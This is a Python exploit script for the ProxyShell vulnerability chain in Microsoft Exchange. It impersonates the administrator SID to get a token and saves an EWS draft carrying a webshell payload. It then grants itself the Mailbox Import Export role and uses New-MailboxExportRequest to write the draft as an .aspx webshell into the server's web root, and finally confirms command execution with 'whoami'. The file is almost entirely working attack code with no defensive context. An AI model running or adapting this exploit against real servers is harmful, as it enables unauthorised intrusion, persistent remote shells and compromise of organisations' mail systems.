#!/usr/bin/env python3
# General ProxyShell exploit: EWS draft -> MailboxExportRequest -> webshell
import sys, time, random, re, base64, binascii, json
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

def createitem(sidv, ver, subj, payload, mail):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="%s"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="HTML">hello</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>%s</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (ver, sidv, subj, payload, mail)

def run(port, script):
    out, err = P.wsman_shell(script, port)
    return [str(o) for o in out], [str(e) for e in err]

def exploit(ip):
    res = {"ip": ip, "status": "fail"}
    ps = P.ProxyShell(f"https://{ip}", timeout=15)
    fqdn = ps.get_fqdn(); print("fqdn:", fqdn)
    from urllib.parse import urlparse
    backend = None
    try:
        backend = fqdn.split('.')[0] if fqdn else None
    except Exception:
        pass
    ld = ps.get_legacydn()
    if not ld:
        res["detail"] = "no mailbox"; print("no legacydn"); return res
    sid = ps.get_sid()
    print("email:", ps.email, "sid:", sid, "admin:", ps.admin_sid)
    ps.sid = ps.admin_sid
    tok = ps.get_token()
    print("token:", "OK" if tok else "FAIL")
    if not tok:
        res["detail"] = "no token"; return res
    port = random.randint(20000, 40000)
    P.start_server(ps, port); time.sleep(1)

    subj = P.subj_
    payload = P.webshell_payload()
    # try create draft with mailbox user sid, then admin sid
    draft_ok = False
    for label, sd in [("user-sid", sid), ("admin-sid", ps.admin_sid)]:
        r = ps.post('/ews/exchange.asmx', createitem(sd, "Exchange2016", subj, payload, ps.email), {"Content-Type": "text/xml;charset=UTF-8"})
        if 'ResponseClass="Success"' in r.text:
            print(f"draft OK with {label}"); draft_ok = True; break
        else:
            m = 'ErrorTokenSerializationDenied' if 'ErrorTokenSerializationDenied' in r.text else r.text[:150]
            print(f"draft fail ({label}): {m}")
    if not draft_ok:
        res["detail"] = "EWS CreateItem blocked (ErrorTokenSerializationDenied)"
        return res

    # role + export
    try: run(port, 'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email)
    except Exception as e: print("role err", e)
    time.sleep(2)
    try: run(port, 'Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$false')
    except Exception: pass
    shellname = P.rand_string(6) + ".aspx"
    unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + shellname
    cmd = 'New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"' % (ps.email, subj, unc)
    try:
        print("export:", run(port, cmd))
    except Exception as e:
        print("export err", e)
    url = f"https://{ip}/aspnet_client/{shellname}"
    for i in range(8):
        time.sleep(5)
        try:
            r = requests.get(url, verify=False, timeout=15)
            print(f"poll {i} code={r.status_code} len={len(r.content)}")
            if r.status_code == 200 and r.content:
                code, txt = P.test_webshell(url, "whoami")
                print("trigger:", code, repr(txt[:150]))
                if txt and txt.strip() and '<' not in txt[:20]:
                    res.update(status="success", shell_url=url, whoami=txt.strip()[:120], email=ps.email)
                    return res
        except Exception as e:
            print("poll err", e)
    res["detail"] = "export/poll failed"
    return res

if __name__ == '__main__':
    r = exploit(sys.argv[1])
    print("RESULT_JSON " + json.dumps(r))
